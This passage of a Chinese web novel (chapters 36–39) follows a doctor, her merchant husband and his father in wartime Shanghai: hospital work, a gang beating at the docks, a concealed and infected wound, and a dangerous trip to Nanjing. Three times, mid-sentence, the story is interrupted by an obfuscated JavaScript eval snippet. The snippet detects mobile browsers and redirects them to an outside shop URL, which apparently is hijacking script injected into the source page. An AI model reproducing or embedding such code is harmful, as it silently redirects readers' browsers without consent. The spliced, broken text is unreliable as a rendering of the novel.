远处又有炮声传来，但这一次，她不觉得害怕了。 沈霆恢复得比预期快。 十天后的一个清晨，他已经能坐起来喝粥了。何思玥小心翼翼地喂他，动作轻柔得像对待婴儿。 “思玥，”沈霆忽然说，“等我能下床了，想看看你的医院。” 何思玥愣了愣：“公公，医院里……环境不太好，伤者多，气味也重。” “我想看。”沈霆坚持，“看看我儿媳妇工作的地方，看看那些你们在救的人。” 何思玥看向沈晏。沈晏点点头：“爹想看就看吧，我陪着他。” 三天后，沈霆在沈晏的搀扶下，第一次走出病房。他穿着何思玥准备的干净病号服，虽然步履蹒跚，但眼神清明。 医院走廊里摆满了临时床位，伤者们的呻吟声、咳嗽声、还有护士轻柔的安慰声交织在一起。 消毒水的味道混合着血腥气，形成一种独特的、属于战地医院的气味。 沈霆走得很慢，每一张病床都仔细看过去。他看到缺了胳膊的士兵，看到烧伤的妇人，看到还在襁褓中却已失去父母的孩子。每看一个，他的眉头就皱紧一分。 走到手术室外的观察窗时，刚好有一台手术在进行。 陆医生主刀，何思玥做一助。他们正在为一个腹部中弹的伤者取弹片，无影灯下，两人的动作迅速而精准。 沈霆站在窗外，看了很久。他看着何思玥沉稳地递器械，看着她专注地止血，看着她额头上细密的汗珠。那一刻，他忽然明白儿子为什么会对这个女子死心塌地。 “她……”沈霆的声音有些哽咽，“她每天……都这样？” “从早到晚。”沈晏说，“有时候一天两三台手术，站十几个小时。累了就在长椅上靠一会儿，饿了就啃两口硬饼。” 沈霆沉默了。他想起自己年轻时在商场上拼杀，总觉得自己辛苦。 但比起这些在生死线上挣扎的人，比起这些在手术台上与死神搏斗的医生，他那点辛苦，又算得了什么？ 36. 第 36 章 “晏儿，”他忽然说，“沈家的钱，以后不用全部想着扩张生意了，除了备用金，都拿来买药，买器械，建更好的病房。” 沈晏愣住了：“爹，您……” “我老了，想通了。”沈霆看着手术室里忙碌的何思玥，“钱这东西，生不带来死不带去。但用在救人或者救国，就很值得。” 他转向儿子，眼神认真：“你媳妇在做的是积德的事。我们沈家也该做一些力所能及的事情。” 从那天起，沈霆变了个人似的。 他不再过问商会的事，把所有权力都交给沈晏，自己则开始研究怎么帮医院改善条件。 他让沈晏联系国外的药商，高价采购稀缺药品；他拿出自己的私房钱，给医院添置了新的病床和被褥；他甚至让人把沈家在法租界的一处仓库腾出来，改造成临时收容所，安置那些无家可归的伤愈者。 何思玥看着公公的变化，心里暖洋洋的。她想起父亲曾经说：“人心都是肉长的，只要你真心对人好，人也会真心对你好。” 现在看来，父亲说得对。 深秋的一天，医院收到了一个特殊的捐赠——整整一卡车药品和医疗器械，捐赠人署名是“一位不愿透露姓名的老上海人”。 陆医生看着那些珍贵的药品——青霉素、破伤风抗毒素、手术器械，甚至还有一台小型X光机——激动得手都在抖。 “这……这是谁……” 何思玥看着捐赠单上的字迹，忽然笑了。她认出那是沈霆的笔迹——虽然刻意改了写法，但某些笔画的习惯，骗不过熟悉的人。 “是一位好人。”她说，“陆医生，收下吧。有了这些，我们能救更多人。” 那天晚上，何思玥做了几个菜，在医院的小食堂里摆了一桌。沈霆、沈晏、陆医生，还有几个骨干护士都在。 菜很简单：红烧肉，炒青菜，番茄蛋汤，还有一碟沈霆爱吃的酱萝卜。但在战时的上海，这已经是难得的丰盛。 “今天这顿饭，”何思玥举起水杯，“一是庆祝公公康复出院，二是感谢陆医生和各位同事这些天的辛苦，三是……”她看向沈霆，“三是谢谢那位‘不愿透露姓名的老上海人’。” 沈霆愣了愣，随即笑了。他举起杯子：“该谢的是你们，是你们让我这个老头子明白，人活着，不能只为自己活。” 陆医生也举杯：“沈老先生，我代表医院所有伤者，谢谢您。您捐赠的那些药品和器械，至少能救一百条命。” “一百条命……”沈霆重复着，眼眶红了，“值了。太值了。” 那顿饭吃得很温馨。 虽然窗外的炮声还在继续，虽然明天还有更多伤者要救治，但在这个小小的食堂里，在这个温暖的夜晚，所有人都感到了久违的平和与希望。 饭后，何思玥和沈晏送沈霆回住处。 走在夜色里，沈霆忽然说：“思玥，晏儿，我想好了。等战争结束，我们沈家不做生意了。” 沈晏惊讶：“不做生意？那做什么？” “做慈善。”沈霆说得坚定，“开医院，办学校，建收容所。把沈家这些年的积蓄，都用在正道上。” 他看着何思玥：“思玥，你那个‘绿洲诊所’的想法很好。但我们可以做得更大——建一所‘绿洲医院’，免费给穷人看病，收留战争中失去家人的孤儿，教那些没读过书的女子识字、学手艺。” 何思玥的眼眶热了：“公公，这需要很多钱，很多人力……” “钱我有，人力我们可以慢慢找。”沈霆说，“重要的是，这件事值得做。比你公公我做了大半辈子的生意，都值得。” 他顿了顿，声音有些哽咽：“我这一生，赚过很多钱，也亏过很多钱。但直到现在，躺在病床上，看着你们救人，看着那些因为你们的努力而活下来的人，我才真正觉得……这辈子没白活。” 沈晏握住父亲的手：“爹，您说得对。我们一起做。” 何思玥也点头：“我们一起。” 她没有想到，沈霆受了一次伤，竟然如此豁然。 翌日清晨，沈晏照例去码头查看新到的一批货——是从香港辗转运来的药品和棉花，对医院和难民来说都是急需物资。 码头上依旧混乱，扛包的苦力在晨雾中穿梭，汽笛声和吆喝声交织。沈晏刚和货主对完清单，准备让人卸货，一群人便围了上来。 为首的是个精瘦的中年男人，穿着黑色绸衫，手里转着两颗铁核桃，眼神阴鸷——是斧头帮帮主，杜三爷。 “沈少爷，好久不见啊。”杜三爷皮笑肉不笑，“听说令尊健康出院了？恭喜恭喜。” 沈晏心中警惕，面上却平静：“杜三爷有心了。家父确实好转，多谢挂念。” “那就好。”杜三爷走近两步，压低声音，“既然沈会长没事了，那咱们是不是该谈谈正事了？” “什么正事？” “沈少爷装糊涂？”杜三爷笑了，“你们沈家码头这几个月的‘保护费’，可一直没交啊。以前沈会长在，我给他面子。现在……” 他没说完，但意思很清楚——现在沈霆倒下了，沈家该低头了。 沈晏的眼神冷下来：“杜三爷，保护费我们按月交，从未拖欠。您说的，是额外的那份‘孝敬’吧？” “聪明。”杜三爷拍拍他的肩，“沈少爷是明白人。这世道乱，兄弟们也要吃饭。不多，就这个数。” 他伸出三根手指——三百大洋，够普通人家过三年。 沈晏笑了，笑容里没有温度：“杜三爷，不是我不给面子。只是最近沈家的钱，都用在医院和难民身上了。实在拿不出这么多。” “医院？难民？”杜三爷像听到了什么笑话，“沈少爷，你以为自己是菩萨转世？这年头，自己能活就不错了，还管别人？” 他凑得更近，声音里带着威胁：“我劝你识相点。三百大洋，对你沈家来说九牛一毛。要是惹我不高兴……” 话音未落，沈晏已经感觉到后腰被硬物顶住——是枪。 周围的气氛瞬间凝固。 沈晏带来的人想上前，被杜三爷的手下拦住。码头上其他人都躲远了，不敢掺和。 “杜三爷，”沈晏声音依旧平稳，“光天化日，码头这么多人看着，您真要动手？” “看着又怎样？”杜三爷冷笑，“沈少爷，这世道，死个人跟死条狗差不多。你觉得巡捕房会管？” 他挥了挥手：“搜！货扣下！人带走！” 手下立刻动手。沈晏的人想反抗，但对方人多，又带着家伙，很快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045279|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被制住。沈晏想掏枪，但后腰那支枪抵得更紧。 “别动。”持枪的人在他耳边说，“动，就打死你，看看谁的枪更快一点。” 混乱中，不知道谁先动了手。一声闷响，沈晏感觉肩膀一麻，然后才是剧痛——不是枪，是铁棍，狠狠砸在左肩上。 他闷哼一声，踉跄后退，撞在货箱上。杜三爷的手下一拥而上，拳脚如雨点般落下。 沈晏护住头，拼命还击。他虽然不是练家子，但这些年走南闯北，也学过几手防身的本事。可双拳难敌四手，后背不知道被什么人砍了一刀，很快就被打倒在地。 “住手！” 一声厉喝从人群外传来。杜三爷的手下停住，回头看去—— 何思玥站在晨光里，穿着白大褂，头发绾得一丝不苟，手里却举着一把手术刀。 她身后，是陆医生和几个医院的男护工，也都拿着随手抓来的“武器”——铁棍、木板，甚至还有一把扫帚。 “杜三爷，”何思玥的声音不大，却让所有人都听得清楚，“光天化日，殴打伤人，还有王法吗？” 杜三爷愣了愣，随即笑了：“我当是谁，原来是沈少奶奶。怎么，医院待腻了，想来码头玩玩？” 何思玥没理他的挑衅，径直走到沈晏身边。看见他满脸是血、肩膀不自然地塌着，她的心像被狠狠揪了一把，但面上依旧平静。 “陆医生，检查伤势。”她说。 陆医生蹲下身，快速检查，沈晏给了他一个眼神，心里了然：“左肩脱臼，肋骨可能骨折，多处软组织挫伤……需要立刻回医院。” 何思玥点点头，转向杜三爷：“杜三爷，人我现在要带走。货，您扣下可以，但账我会记着。等沈会长好了，咱们再慢慢算。” 她说得不卑不亢，眼神里有种杜三爷从未在女子身上见过的冷厉——那不是装出来的凶狠，是真正见过生死、握过手术刀的人才有的镇定。 杜三爷眯起眼睛：“沈少奶奶好大的口气。我要是不放人呢？” “那您试试。”何思玥举起手术刀，刀锋在晨光下闪着寒光，“我是个医生，最知道怎么让人疼而不死。若杜三爷想体验一下，我倒是愿意成人之美。” 空气死一般寂静，码头上所有人都看着这个穿着白大褂、举着手术刀的女子——她单薄得像一阵风就能吹倒，但站在那里，却像一堵墙。 杜三爷的手下面面相觑，竟没人敢上前。 “好，好。”杜三爷忽然笑了，笑得阴森，“沈少奶奶有胆识。今天我给你这个面子，人你带走。但货，我扣下了。告诉沈会长，想要货，拿五百大洋来赎。” 他挥挥手，手下让开一条路。 何思玥没再说话，和陆医生一起扶起沈晏，在护工的掩护下，迅速离开码头。 回医院的路上，沈晏靠在何思玥肩上，声音虚弱：“你不该来……太危险了……” “我不来，你就死在那儿了。”何思玥的声音在抖，不是怕，是后怕，“沈晏，你怎么那么傻？他们要钱就给钱，货没了可以再买，人没了就什么都没了！” “那是救命的药……”沈晏想解释，但牵扯到伤口，疼得倒吸一口冷气。 “别说话。”何思玥按住他，“保存体力，马上到医院了。” 37. 第 37 章 医院里，陆医生亲自给沈晏处理伤势。左肩脱臼，复位时沈晏咬紧了牙，一声没吭；肋骨果然断了两根，需要固定。 处理完皮外伤，陆医生便帮沈晏开始处理后背。 “陆医生，我希望你可以帮我瞒住思玥我后背受伤的事情，我不想思玥跟着担心。”沈晏吃痛地咬着嘴唇。 陆医生的手顿了顿。 他掀开沈晏被血浸透的后衣，一道狰狞的刀伤赫然入目——从右肩胛骨斜划到腰部，皮肉外翻，深可见骨。这是混战中被斧头划的，刚才沈晏一直侧着身子，何思玥竟没发现。 “这伤……”陆医生倒吸一口凉气，“必须马上缝合！沈先生，这瞒不住的，何医生一看就知道……” “就说我肩膀和肋骨受伤，需要静养。”沈晏疼得冷汗涔涔，却咬紧牙关，“后背的伤……你帮我处理，用纱布多缠几层，衣服穿厚点，她发现不了。” “可是感染的风险……” “我扛得住。”沈晏打断他，眼神里有种不容置疑的决绝，“陆医生，现在外面有多少难民等着安置？家里还有商铺需要处理，还需要斧头帮那边斡旋，如果我倒下了，这些事谁来做？思玥已经够累了，我不能让她再为我操心。” 陆医生看着他苍白却坚定的脸，沉默良久，终于点头：“好。但你要答应我，每天来换药，一旦发烧立即告诉我。还有……不能剧烈活动，伤口崩开会要命的。” “我答应。”沈晏松了口气，“谢谢您，陆医生。” 缝合很疼， 没有麻药——麻药要留给手术伤者，沈晏坚持不用。他咬着毛巾，额头青筋暴起，但一声没吭。陆医生缝了二十七针，每一针都穿过皮肉，沈晏的后背绷得像一张拉满的弓。 处理完，陆医生用厚纱布仔细包扎，又给沈晏打了破伤风针。“今晚可能会发烧，我让护士给你准备退烧药。” “别让思玥知道。”沈晏再次强调。 何思玥端着粥进来时，沈晏已经换上了干净的病号服，靠在床头，除了脸色苍白、左肩固定着夹板外，看起来“只是”脱臼和骨折。 “感觉怎么样？”她坐在床边，舀起一勺粥，吹凉了递到他嘴边。 “好多了。”沈晏努力扯出一个笑容，“就是有点饿。” 他喝粥的动作很慢，每一次吞咽都牵动后背的伤口，疼得他指尖发颤，但面上不动声色。 何思玥专心喂他，没注意到他额角渗出的细密冷汗。 “杜三的事，公公去处理了。”她说，“工部局那边答应介入，货应该能要回来。” “嗯。”沈晏应着，心里却清楚——杜三敢这么嚣张，背后一定有人。这事没那么简单。 喝完粥，何思玥要检查他的伤势：“我看看肋骨固定得怎么样。” 沈晏的心一紧，面上却轻松：“陆医生刚看过，说固定得很好。思玥，你也累了一天了，去休息吧。” “我不累。”何思玥执意要掀他衣服。 就在这时，外面传来急促的脚步声，一个护士冲进来：“何医生！陆医生让您赶紧去手术室！送来了三个重伤的，都是孩子！” 何思玥的手停住了。她看看沈晏，又看看焦急的护士，最终站起身：“我马上来。” 走到门口，她回头：“沈晏，你好好休息，我忙完就来看你。” “好。”沈晏点头，“你去吧，救人要紧。” 门关上了。 沈晏这才松了那口气，整个人瘫软下来。 后背的伤口火辣辣地疼，像有无数根针在扎。他艰难地伸手去够床头的水杯，手指颤抖得厉害，差点打翻。 “沈先生，我来。”一个声音响起。 沈晏抬头，看见周晓芸站在门口。她穿着护士服，显然是在医院帮忙。 “周同学？”沈晏有些意外，“你怎么……” “林校长让我来医院帮忙，说这里缺人手。”周晓芸走过来，扶他坐好，递上水杯，“何老师还不知道我来了，她想让我专心读书。” 沈晏喝了口水，感觉喉咙的干涩缓解了些：“你该听你何老师的，这里太危险。” “何老师能在这里救人，我为什么不能？我去苏州学习的教书育人，但是我听闻上海有日本人闯入，我便学习了医术，我觉着上海更需要我。”周晓芸看着他的眼睛，“沈先生，您也别瞒何老师了。您后背的伤……我刚才在门外都听见了。” 沈晏怔了怔，苦笑：“你倒是机灵。” “我帮您换药吧。”周晓芸说，“陆医生交代了，您这伤每天要换两次药，防止感染。何老师忙，我来做。” 她动作麻利地准备好药品，让沈晏背过身，小心地揭开纱布。看见那道缝合的伤口时，她还是倒吸了一口凉气——太深了，像一条蜈蚣趴在背上。 “您疼吗？”她轻声问。 “还好。”沈晏咬着牙。 周晓芸不再说话，专心处理伤口。她的手很稳，消毒、上药、包扎，每一步都做得认真仔细。沈晏想起何思玥说过，周晓芸想考医学院。 “你学了医？”他问，试图分散注意力。 “嗯。”周晓芸点头，“何老师说，医生是乱世里最有用的职业。我想像她一样，能救人。” “很好。”沈晏说，“等战争结束了，我资助你去留学，学最好的医术。” 周晓芸的手顿了顿：“沈先生，您为什么对何老师这么好？” 这个问题让沈晏沉默了。良久，他才说：“因为她值得，而且她现在是我的妻子，我更应该对她好。” 周晓芸小声说，“我见过您看何老师的眼神，那么专注和清澈，仿佛这个宇宙中，何老师是温柔的坐标。” 沈晏被周晓芸说的红了脸，有些许不好意思：“也许吧。但周同学，爱一个人，不只是把她当宝贝供着，更是要尊重她的选择，支持她的理想。你何老师想救人，我就帮她救人；她想留在上海，我就陪她留下。因为她的理想，就是我的理想。” 周晓芸包扎完，扶他躺好：“沈先生，您和何老师……真好。” “你也很好。”沈晏看着她，“好好学，将来做个好医生。这世道需要好医生，越多越好。” 周晓芸用力点头，眼睛亮晶晶的。 接下来的几天，沈晏就在这种半隐瞒的状态下养伤。 何思玥忙得脚不沾地——伤者越来越多，药品越来越少，她几乎住在了手术室。每天只能抽空来看沈晏一眼，见他“恢复良好”，便又匆匆离开。 而沈晏，趁着何思玥不在，忍着伤口的疼痛，处理各种事情——和工部局交涉要回被扣的货物，安排沈家产业在战时的运营，甚至暗中联系了一些有良知的商人，筹划建立一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050618|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个“战时物资互助会”。 后背的伤在第五天感染了。沈晏开始发烧，但他瞒着所有人，只让周晓芸给他加大药量。夜里烧得厉害时，他咬着被角硬扛，生怕惊动了隔壁的何思玥。 这天深夜，何思玥终于做完最后一台手术，累得几乎虚脱。她想起已经两天没去看沈晏了，强打精神往他的病房走。 推开门的瞬间，她愣住了。 沈晏没睡，坐在床边的小桌前，就着一盏油灯在看文件。他穿着厚厚的睡衣，但后背的纱布透出淡淡的血渍——那是他刚才咳嗽时，伤口崩开渗出的血。 “沈晏？”何思玥的声音在颤抖，“你……你在干什么？” 沈晏猛地回头，手里的文件掉在地上。他想站起来，但牵动了伤口，疼得脸色一白。 何思玥快步走过去，捡起文件——是“战时物资互助会”的章程草案。她再看向沈晏，终于发现了不对劲。 他脸色潮红，呼吸急促，明显在发烧。而他后背的血渍…… “把衣服脱了。”她的声音冷得像冰。 “思玥，我……” “脱了！” 沈晏知道瞒不住了，慢慢解开睡衣。当何思玥看见那道狰狞的、已经感染化脓的刀伤时，整个人都僵住了。 她伸出手，指尖颤抖着碰了碰伤口边缘——滚烫，肿胀，脓液从缝合处渗出。 “什么时候的事？”她的声音很轻，轻得像随时会断掉。 “码头那天……”沈晏老实交代，“对不起，思玥，我……” “为什么瞒我？”何思玥抬起头，眼泪大颗大颗地掉下来，“沈晏，你为什么不告诉我？我是你妻子，我是医生！你让我像个傻子一样，每天以为你只是脱臼骨折，以为你在好好养伤……” 她说不下去了，转身往外走：“我去叫陆医生。” “思玥！”沈晏拉住她的手，“别去。陆医生在休息，他今天做了七台手术，太累了。我的伤……我自己知道，死不了。” “死不了？”何思玥猛地转身，眼睛通红，“沈晏，你知道伤口感染会要命吗？你知道高烧不退会烧坏脑子吗？你知道……你知道我有多害怕失去你吗？！” 最后一句，她几乎是喊出来的。所有的担心，所有的疲惫，所有的恐惧，在这一刻爆发。 沈晏看着她崩溃的样子，心像被撕碎了。他用力把她拉进怀里，不顾后背伤口的剧痛。 “对不起，思玥，对不起……”他一遍遍地说，“我只是不想你担心，不想你累……” “你瞒着我，我更担心！”何思玥哭得浑身发抖，“沈晏，我们结婚了，是夫妻了。夫妻是什么？是有福同享，有难同当！不是你把所有危险都扛着，把我护在温室里！” 她推开他，擦干眼泪，眼神变得坚定：“从现在起，你的伤我来管。陆医生那边我去说，外面的事你也别管了，好好养伤。” “可是……” “没有可是。”何思玥打断他，“沈晏，你给我听好——你的命不是你一个人的，是我的。我要你活着，好好地活着，陪我一辈子。所以，从现在起，听我的。” 她说完，转身出去找陆医生。沈晏坐在床边，看着她的背影，忽然笑了。 笑着笑着，眼泪就掉下来。 他想，这辈子能遇见何思玥，真是他最大的幸运。 38. 第 38 章 何思玥说到做到。 从那天起，沈晏的伤完全由她亲自处理。 每天早晚两次，她戴着口罩和手套，仔细地清洗那道狰狞的刀口，用镊子小心地夹去腐肉，再敷上陆医生特制的草药膏。药膏里有黄连、金银花，能消炎清热，但敷上去时像火烧一样疼。 沈晏咬着毛巾，额头青筋暴起，却从不喊痛。他只是看着何思玥专注的侧脸，看着她因为熬夜而泛青的眼圈，看着她额角细密的汗珠。 “疼就喊出来。”何思玥说，声音闷在口罩后面。 “不疼。”沈晏摇头，“比你在手术台上轻松多了。” 何思玥的手顿了顿，没说话，只是动作更轻了些。 伤口在慢慢好转。化脓控制住了，肿胀消退了，体温也正常了。 但何思玥知道，沈晏根本没有真正“好好养伤”。 她常常半夜醒来的时候，发现身边的床位是空的。 她寻不到沈晏的时候，她便披衣起身，就能看见书房透出灯光——她就知道沈晏在那里，就着一盏小台灯，看文件，写计划，打算盘。 “沈晏，”她站在书房门口，声音疲惫，“该休息了。” “马上，看完这份就睡。”他总是这样说。 何思玥知道，那份“看完”之后，还有下一份。 她缓缓地走到沈晏的身后，双手搭在他的肩膀上，给他披上外套，“晚上，我醒来找不到你，我就知道你肯定在书房。” 沈晏放下手中的钢笔，牵着肩头思玥的手，“没有办法，有些事情我必要要去处理，有的事情还需要万全之策，码头的事情还有杜三爷的事情，我都要去处理。” 何思玥知道这些事情必须要沈晏亲自去处理，所以有的时候，她除了帮他处理好伤口，照顾日常起居，其他的也做不了什么。 战争中的上海，沈家这样的大家族，要维持运转，要保住产业，要接济医院和难民，有太多事需要他处理。 她劝不动，只能每天变着法子给他补身体——炖鸡汤，煮鱼汤，做蒸蛋，把有限的食材做出花样。 沈晏总是很给面子地吃完，然后笑着说：“我夫人的手艺越来越好了。” 何思玥知道自己的手艺并不是很好，但是，沈晏每次都很捧场，把她做的吃的都吃的干干净净。 可何思玥看着他日渐消瘦的脸颊，知道他根本没休息好。 这天，她正在医院给一个伤者换药，周晓芸匆匆跑来：“何老师，我刚才看见沈先生出去了，往工部局的方向。” 何思玥的心一沉。沈晏的伤口才刚结痂，根本不能多走动。 “知道他为什么去吗？” 周晓芸摇头，但小声说：“我听见他和杨律师说话，好像……好像是关于斧头帮的事。杜三爷被放出来了，虽然货要回来了，但……” 但恩怨没完。 何思玥懂，在这乱世，帮派就像水底的暗礁，你以为绕过去了，说不定什么时候又会撞上。 她强迫自己冷静，继续工作，将注意力从沈晏身上转移，可心里那根弦，一直绷着。 傍晚，沈晏回来了。脸色比出去时更苍白，但眼睛亮得吓人。 “谈成了。”他对何思玥说，语气里有种如释重负的轻松，“工部局答应加强码头巡逻，斧头帮那边……暂时不会找麻烦了。” “用什么换的？”何思玥问。 沈晏愣了愣，笑了：“思玥，你真聪明。是，有代价。沈家捐给工部局一笔钱，用于租界治安。另外……码头的生意，让出一部分给工部局指定的公司。” “值得吗？” “值得。”沈晏握住她的手，“思玥，钱可以再赚，生意可以再做。但你和父亲的安全，医院的安稳，比什么都重要。” 他看着窗外渐暗的天色：“而且，我已经开始把部分生意往重庆、昆明转移。上海……不知道还能守多久。鸡蛋不能放在一个篮子里。” 何思玥的心揪紧了。 沈晏在安排退路——不是为他自己，是为沈家，为医院，为那些依靠他们的人。 “你后背的伤……”她轻声说。 “没事，好多了。”沈晏转过身，让她检查。 何思玥小心地揭开纱布。 伤口确实在愈合，新生的肉芽组织粉嫩嫩地长出来，虽然疤痕会很难看，但至少不会要命了。 她重新敷药，包扎，动作轻柔得像对待珍宝。 “思玥，”沈晏忽然说，“等重庆那边的安排妥了，你先过去。” 何思玥的手停住了。她抬起头，看着他：“你说什么？” “你先过去。”沈晏重复，声音很轻但坚定，“重庆相对安全，我在那边买了处宅子，也联系了医院。你可以继续行医，也可以……等我去找你。” 何思玥的眼泪涌上来：“沈晏，你又要赶我走？” “不是赶你走。”沈晏转身，捧住她的脸，“是保护你。思玥，上海的情况你也看到了，日军随时都有可能攻进来，上海随时可能沦陷。你是医生，是妻子，是我最重要的人。我不能让你留在这里冒险。” “那你呢？”何思玥的眼泪掉下来，“你留下冒险？” “我是沈家的当家人，有些责任必须承担。”沈晏擦去她的眼泪，“但思玥，我答应你，等安排好一切，我一定去重庆找你。我们说过要开医院治病救人的，记得吗？在重庆开，一样。” 他说得很认真，眼神里有不舍，有疼惜，更有一种近乎悲壮的决绝。 何思玥看着他的眼睛，看了很久。然后她说：“沈晏，你听好——我不走。” “思玥……” “我不走。”她重复，每个字都说得很清楚，“你在哪里，我就在哪里。你要守上海，我就陪你守上海。你要救人，我就陪你救人。你要安排退路，我就帮你安排退路。” 她握住他的手，十指相扣：“沈晏，我们结婚了。是夫妻，是一体的。没有你保护我、我等你来找的道理。只有我们一起扛，一起闯，一起等到和平的那一天。” 沈晏的眼眶红了。他想说什么，但喉咙像被什么堵住了，发不出声音。 何思玥靠进他怀里，小心地避开他后背的伤：“沈晏，别再说让我先走的话了。我失去了父母，失去了家，不能再失去你。你要活着，我也要活着，我们要一起活着，看到战争结束，看到我们的‘绿洲’真正建起来。” 窗外，夜幕降临。炮声又响起来了，这次很近，震得窗户哗哗作响。 但在这个小小的房间里，两个人紧紧相拥，像两棵在风暴中互相支撑的树。 沈晏终于明白了——何思玥从来不是需要他保护的温室花朵。她是能与他并肩作战的伴侣，是能在乱世中守护希望的战士。 而他，何其有幸，能拥有这样的妻子。 “好。”他在她耳边轻声说，“我们一起。无论生死，无论聚散，都一起。” 晨光透过窗棂洒进书房，照亮了摊在桌上的电报——南京分号的掌柜发来的，字迹潥草，透着慌乱：“货被扣，人被抓，速来。” 何思玥端着早餐进来时，沈晏正在收拾行李。他的动作很慢，因为后背的伤还没完全好，大幅度的动作还是会疼。 “非去不可吗？”她轻声问。 沈晏转过身，看见她眼里的担忧，心里像被什么轻轻刺了一下。 他走过去，握住她的手：“思玥，南京的分号囤积了我们一半的药品储备，还有准备运往重庆的物资。如果这批货没了，医院撑不过一个月，转移计划也会全乱。” “可以让杨石泽去。”何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054606|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思玥说，“或者……我跟你一起去。” “石泽要留在上海处理商会的事，你……”沈晏顿了顿，“思玥，医院离不开你。陆医生说，现在每天有十几个重伤员需要手术，你是他最好的助手。” 他说的是事实。 自从战事吃紧，送来的伤者越来越多，陆医生已经连续工作三十多个小时没合眼，全靠何思玥和其他几个医生轮班撑着。 何思玥低下头，看着两人交握的手。她知道沈晏说得对，医院离不开她，南京的事也非他不可。 可一想到他要再次穿越战区，去那个同样战火纷飞的城市，她的心就像被一只无形的手攥紧了。 “什么时候走？”她听见自己问，声音平静得让她自己都意外。 “今天下午的车。”沈晏说，“如果能顺利通过封锁线，明天晚上就能到南京。” “只有你一个人？” “带两个伙计，都信得过。”沈晏看着她，“思玥，别担心。这次我不走小路了，走官道，虽然绕远，但相对安全。而且……我带了足够的‘通行费’。” 他说得轻松，但何思玥知道没那么简单。 战时的“官道”也不安全，溃兵、土匪，甚至某些地方的守军，都可能成为拦路虎。而“通行费”，往往是真金白银，甚至……是命。 但她没有再劝。 因为她了解沈晏——这个看似精明的商人。 他认定该做的事，谁也拦不住，他清晰的知道他肩膀上要承担的责任，除了家庭，还有国家。 就像她认定要留在上海救人一样。 “我帮你收拾行李。”她说。 何思玥收拾得很仔细。除了换洗衣物，她放进了足够的药品——消毒纱布、消炎药、止痛片，还有一小瓶陆医生特制的金疮药。她又做了些干粮：烙饼、咸菜、煮鸡蛋，用油纸包好，塞进背包的夹层。 最后，她从贴身口袋里取出那枚护身符——沈晏之前留给她的那个。 “这个，你带着。”她把护身符放进他衬衫口袋，“上次你偷偷塞回来，这次不许了。” 沈晏握住她的手，感觉到她在微微发抖。 “思玥，”他轻声说，“我会安全回来的，我答应你。” “我知道。”何思玥抬起头，努力让嘴角上扬，“因为你是沈晏。你说过的话，从不食言。” 但她眼里的泪水出卖了她。 沈晏低头，吻去她的泪，吻她的眼睛，吻她的唇。这个吻很轻，很温柔，却带着一种近乎诀别的深情。 “等我回来，”他在她耳边说，“等战争结束，我们就离开上海，去任何你想去的地方。开诊所，办医院，或者什么都不做，就每天看着你，一直到老。” 何思玥的眼泪又涌上来。她用力点头：“好。我等你。” 下午，沈晏出发时，何思玥没去送。 她站在医院三楼的窗前，看着那辆黑色轿车驶出弄堂，汇入街上的车流，最终消失在拐角。 阳光很好，照得上海滩一片金黄。可何思玥觉得冷，那种从骨头缝里渗出来的冷。 “何医生，”护士在门口轻声说，“三号手术室准备好了，伤员已经麻醉。” 何思玥深吸一口气，擦干眼泪，转身：“来了。” 她戴上口罩和手套，走进手术室。无影灯亮起，伤者躺在手术台上，胸口的弹孔还在渗血。陆医生已经就位，看见她进来，点点头：“开始吧。” 手术刀划开皮肤，止血钳夹住血管，吸引器吸去积血……何思玥的动作精准而迅速。 她的全部注意力都集中在伤口上，集中在那些细微的血管和组织上。 只有这样，她才能暂时忘记沈晏正在前往南京的路上，忘记这一路的危险，忘记那种随时可能失去他的恐惧。 39. 第 39 章 手术进行了三个小时。 结束时，何思玥整个人都虚脱了。她整个人靠倚靠在墙上，看着监护仪上平稳的曲线——伤者活下来了，又一个人从死神手里抢回来了。 可她的沈晏呢？他现在到哪里了？安全吗？ 她明明很想他，可是她不能表现在脸和行为上，只能藏在心里，以防其他人跟着担忧。 “何医生，去休息一下吧。”陆医生说，“你脸色很差。” 何思玥摇头：“还有伤者在等换药，我去看看。” 她不能停，一停下来，就会胡思乱想。 只有不停地工作、不停地去救人，才能让她暂时忘记对沈晏的担忧和思念。 那天晚上，何思玥住在医院，她躺在值班室狭窄的床上，睁着眼睛看天花板。 窗外偶尔传来炮声，每一声都让她心惊肉跳，一阵阵炮声彷佛就在自己眼神，那么惊心动魄。 她想起沈晏后背那道还没完全愈合的伤，想起他说“走官道相对安全”时的表情，想起他吻她时眼里的不舍。 “沈晏，”她对着黑暗轻声说，“你要平安。一定要平安。” 第二天，没有消息。 第三天，还是没有。 